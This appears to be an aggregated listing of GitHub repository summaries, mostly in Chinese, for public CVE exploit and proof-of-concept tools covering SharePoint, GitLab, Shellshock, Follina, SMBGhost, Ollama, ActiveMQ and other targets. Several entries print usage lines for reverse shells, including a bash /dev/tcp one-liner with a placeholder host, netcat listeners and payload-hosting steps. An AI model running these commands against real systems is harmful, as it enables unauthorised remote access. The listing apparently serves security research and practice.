CVE-2025-53770-SharePoint-Zero-Day-Variant-Exploited-for-Full-RCE

🚨 CVE‑2025‑53770 – SharePoint 零日变种被利用实现完全远程代码执行 从 CVE‑2025‑49706 的关键升级 作者 Aditya Bhatt – 红队 | 渗透测试 📌 摘要 CVE‑2025‑53770 是 Microsoft SharePoint 中的一个 严重（CVSS 9.8）零认证 RCE 漏洞 ，目前已在野外被积极利用。这不是一个孤立问题——它是 CVE‑2025‑49706 的一个变种 ，我之前已经介绍过。 但 CVE‑2025‑49706 需要认证，而 53770 不需要 。 这是 未经认证的代码执行 ，在活跃攻击中已观察到真实的...

gitlab-RCE-11.4.7

gitlab-RCE-11.4.7 GitLab 11.4.7 CE RCE 漏洞利用工具，支持多种反弹 shell。 CVE-2018-19571：https://nvd.nist.gov/vuln/detail/CVE-2018-19571 CVE-2018-19585：https://nvd.nist.gov/vuln/detail/CVE-2018-19585 本版本基于 Sam Redmond 和 Tam Lai Yin 的版本进行修改，用于学习和练习。 使用方法 本工具用 python3 编写，符合宇宙真理。 依赖： pip3 install requests 使用：...

CVE-2024-4358

CVE-2024-4358 Una herramienta de detección de vulnerabilidades y explotación masiva para CVE-2024-4358 Instalación: git clone https://github.com/RevoltSecurities/CVE-2024-4358 pip install -r requirements.txt python3 exploit.py --help Uso: python3 exploit.py -h / / / / / / / / | |// // / / / / / /...

test-task-CVE-2024-25600

test-task-CVE-2024-25600 该仓库用于实习测试任务。 步骤 0：克隆此 Git 仓库 git clone https://github.com/Sibul-Dan-Glokta/test-task-CVE-2024-25600 步骤 1：创建 Docker 容器 启动 Docker 守护进程 sudo systemctl start docker.service 启动 Docker 容器 要启动 Docker 容器，请导航到 wpcontainer 目录 cd path/to/wpcontainer 启动 Docker 容器 sudo docker compose ...

cve-2010-4221

cve-2010-4221 此漏洞利用程序是为了研究一些概念而编写的，希望你喜欢！ 用法 Proftpd Telnet IAC remote generic exploit Writen by: F0rb1dd3n Usage: ./proftpd-exploit Attack Types: 0 - Socket Reuse 1 - Reverse Shell 2 - Bind Shell 3 - Your own shellcode raw format 只需输入目标 IP、端口和你选择的攻击类型。程序会询问其他信息，例如：本地主机、本地端口或远程绑定端口！ 免责声明 你无需为反向...

CVE-2019-11223

CVE-2019-11223 WordPress插件SupportCandy 2.0以下版本中的任意文件上传 https://cert.kalasag.com.ph/news/research/vulnerable-wordpress-plugin-lets-you-take-over-websites/ https://wordpress.org/plugins/supportcandy/developers...

CVE-2014-6271

CVE-2014-6271 python2.7 在你的机器上开始监听。 nc -l -p 4444 按照以下规则运行python脚本： python shellpoc.py python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 尽情享用...

CVE-2019-11580

CVE-2019-11580 一个用于远程利用CVE-2019-11580漏洞的shell。...

Confluence-RCE

Usage: python3 mian.py 检测 命令执行 反弹shell 支持socks5和http代理 仅用于交流和学习...

CVE-2022-36804-PoC

CVE-2022-36804-PoC 影响（大部分）BitBucket版本 ://: -e check,rce,ssrf,download,revshell, --exploit check,rce,ssrf,download,revshell Exploit to perform --cmd CMD Command to execute for the 'rce' exploit curl http://example.com --knary KNARY...

CVE-2022-36553-PoC

CVE-2022-36553 - Hytec Inter HWL-2511-SS 无认证远程命令注入 概述 本仓库包含一个概念验证（PoC）反向Shell脚本，用于利用CVE-2022-36553——Hytec Inter HWL-2511-SS设备中的一个严重漏洞。该脚本是实际演示，补充了我的博客文章“Hytec Inter HWL-2511-SS - 漏洞报告”中提供的深入分析。 受影响版本 所有版本为1.05及以下的Hytec Inter HWL-2511-SS设备。 PoC 脚本用法 Usage: python HWL-2511-SS.py --RHOST --RPORT...

Follina

Follina（已修补） 用于Windows的远程访问Shell（基于CVE-2022-30190） ⚠️ 仅用于教育目的 📚 安装与使用 🛠️ $ git clone https://github.com/AbdulRKB/Follina.git $ cd Follina $ pip install -r requirements.txt $ python main.py...

CVE-2020-9484

CVE-2020-9484 点击图片观看视频 使用方法 使其可执行 chmod +x CVE-2020-9484 ./CVE-2020-9484 http://10.10.10.10./8080/ 10.10.1.1 4444...

CVE-2024-37032_CVE-2024-45436

CVE-2024-37032 & CVE-2024-45436 Ollama 远程代码执行 CVE-2024-37032 CVE-2024-45436 需要在Linux下运行，环境需要安装gcc 安装golang，执行以下命令反弹shell go run main.go -target http://127.0.0.1:11434/ -exec "bash -i & /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0&1" 注意：利用可能需要几分钟，请耐心等待...

CVE-2023-46604

CVE-2023-46604 构建docker-compose，其中包含两个镜像：受害机与目标机，按所需环境配置 在受害机上，启动ActiveMQ 切换到攻击机： • 开启HTTP服务以发送poc： python3 -m http.server • 使用netcat监听连接至攻击机 nc -nlvp 4444 • 发送载荷，建立反向shell连接至攻击机 python3 exploit.py -i 172.18.0.3 -p 61616 --xml http://172.18.0.2:8000/poc.xml 其中： Exploit.py：漏洞利用代码文件 -i...

CVE-2023-42819

CVE-2023-42819 CVE-2023-42819 漏洞说明 JumpServer 任意文件写入漏洞 CVE-2023-42819 + CVE-2023-42820 = GetShell USAGE 1. 将脚本和所需文件放在同一个目录 2. 确认已安装 Google Chrome，并获取 Google Chrome 的版本号 reg query "HKEYCURRENTUSER\Software\Google\Chrome\BLBeacon" /v version 3. 根据 Google Chrome 对应的版本号和系统下载 chromedriver 之后，放置在...

CVE-2020-0796

CVE-2020-0796 远程代码执行 POC c 2020 ZecOps, Inc. - https://www.zecops.com - 发现攻击者的失误 CVE-2020-0796 / "SMBGhost" 的远程代码执行 POC 预期结果：具有系统权限的反向 Shell。 仅供企业环境中教育和测试使用。 ZecOps 不对代码承担任何责任，使用风险自负。 如果您对用于服务器、终端和移动设备的无代理 DFIR 工具感兴趣，以自动检测 SMBGhost 和其他类型的攻击，请联系 [email protected]。 用法 确保已安装 Python 和 ncat 。...

cve-2026-27483

CVE-2026-27483 MindsDB 路径遍历至 RCE 的 PoC 此 PoC 脚本基于以下 GitHub 安全公告 默认情况下 MindsDB 不 使用认证 PoC 同时支持 未认证 和 已认证 模式 我们可以查询 /api/handlers/ 来查找可用的 handler，使用任意可用但未安装的 handler 名称 PoC 会覆盖 /venv/lib/python3.10/site-packages/pip/init.py 将一个 python 反向 shell 写入上述路径，然后触发执行 python cve-2026-27483.py -lh 192.168.0.10...

CVE-2023-20887

CVE-2023-20887 漏洞利用 VMWare vRealize Network Insight 预认证远程代码执行 CVE-2023-20887 用法 usage: exploit.py -h -t TARGET -l LOCALHOST -p LOCALPORT optional arguments: -h, --help 显示此帮助信息并退出 -t TARGET, --target TARGET 目标 URL，例如 http://localhost:9000 -l LOCALHOST, --localhost LOCALHOST 用于反弹 Shell 的本地 IP 地址 -p...

envocabulary

envocabulary 对于当前 shell 中的每个变量，找出设置它的文件和行号，或者是由哪个子系统（direnv、launchd、terminal、SSH、system）注入的。此外还提供了一些静态文件命令，用于应对你的 shell 配置散落在 N 个文件和备份中、你已经理不清头绪的情况。 我构建这个工具是因为每隔几个月我都要花上同样的一小时去追踪为什么某个 JAVAHOME 或 PATH 指向了我意料之外的地方。which 了解命令，direnv status 了解 direnv，launchctl getenv 了解 launchd。它们都不会告诉你 /.zshrc:42...